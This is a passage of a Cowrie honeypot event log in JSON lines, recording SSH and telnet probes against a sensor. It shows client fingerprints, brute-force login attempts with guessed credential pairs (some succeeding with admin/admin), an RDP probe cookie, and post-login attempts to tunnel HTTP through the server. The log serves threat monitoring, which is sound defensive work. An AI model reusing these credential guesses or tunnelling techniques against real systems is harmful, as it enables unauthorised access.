{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:31.184732Z","src_ip":"154.83.13.181","session":"d4f5e5d1b13e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:32.053180Z","src_ip":"154.83.13.181","session":"d4f5e5d1b13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51433,"dst_ip":"159.203.135.109","dst_port":22,"session":"6591e18c3bc5","protocol":"ssh","message":"New connection: 152.42.212.128:51433 (159.203.135.109:22) [session: 6591e18c3bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:33.113244Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:33.120010Z","src_ip":"152.42.212.128","session":"6591e18c3bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:33.124616Z","src_ip":"152.42.212.128","session":"6591e18c3bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:33.273216Z","src_ip":"154.83.13.181","session":"d4f5e5d1b13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.47904586791992,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:35.468458Z","src_ip":"152.42.224.71","session":"4a9bf81389b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":55136,"dst_ip":"159.203.135.109","dst_port":22,"session":"7182b873e0d0","protocol":"ssh","message":"New connection: 59.17.95.129:55136 (159.203.135.109:22) [session: 7182b873e0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:40.272548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:40.277555Z","src_ip":"59.17.95.129","session":"7182b873e0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:40.486465Z","src_ip":"59.17.95.129","session":"7182b873e0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:41.345312Z","src_ip":"59.17.95.129","session":"7182b873e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:42.556252Z","src_ip":"59.17.95.129","session":"7182b873e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.16430044174194,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:44.425802Z","src_ip":"152.42.224.71","session":"1e86ccce878f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45538,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1ff8d1eded","protocol":"ssh","message":"New connection: 45.148.10.121:45538 (10.17.0.5:22) [session: 9c1ff8d1eded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:44.983965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:44.989278Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.147152Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.452086Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1dd3170951","protocol":"ssh","message":"New connection: 193.32.162.145:51880 (10.17.0.5:22) [session: ab1dd3170951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.511525Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.566153Z","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.595787Z","src_ip":"193.32.162.145","session":"ab1dd3170951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.619615Z","src_ip":"193.32.162.145","session":"ab1dd3170951","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.655578Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.659997Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21528220176697,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.726743Z","src_ip":"152.42.224.71","session":"31d8923d0b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.806404Z","src_ip":"45.148.10.121","session":"9c1ff8d1eded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45540,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f616b5e6cbc","protocol":"ssh","message":"New connection: 45.148.10.121:45540 (10.17.0.5:22) [session: 1f616b5e6cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.882581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.887990Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:45.972335Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.032944Z","src_ip":"193.32.162.145","session":"ab1dd3170951","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.231643Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.319920Z","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.405919Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.410140Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:46.534233Z","src_ip":"45.148.10.121","session":"1f616b5e6cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:47.139860Z","src_ip":"193.32.162.145","session":"ab1dd3170951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.24698567390442,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:47.526324Z","src_ip":"152.42.224.71","session":"aa15ec5e9bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38160,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f75c663e35c","protocol":"telnet","message":"New connection: 152.42.224.71:38160 (10.17.0.5:23) [session: 0f75c663e35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:51.086643Z"}
{"eventid":"cowrie.session.closed","duration":51.927385091781616,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:56.150352Z","src_ip":"152.42.224.71","session":"b1c4fa8049b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.811094522476196,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:03.897573Z","src_ip":"152.42.224.71","session":"0f75c663e35c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":37392,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f90c458c617","protocol":"ssh","message":"New connection: 43.128.111.187:37392 (159.203.135.109:22) [session: 1f90c458c617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:06.713313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:06.719362Z","src_ip":"43.128.111.187","session":"1f90c458c617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:06.957917Z","src_ip":"43.128.111.187","session":"1f90c458c617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD!@#","message":"login attempt [root/123asdASD!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:07.943609Z","src_ip":"43.128.111.187","session":"1f90c458c617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35328,"dst_ip":"159.203.135.109","dst_port":22,"session":"023e2c40772b","protocol":"ssh","message":"New connection: 103.195.236.96:35328 (159.203.135.109:22) [session: 023e2c40772b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:08.561376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:08.567047Z","src_ip":"103.195.236.96","session":"023e2c40772b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-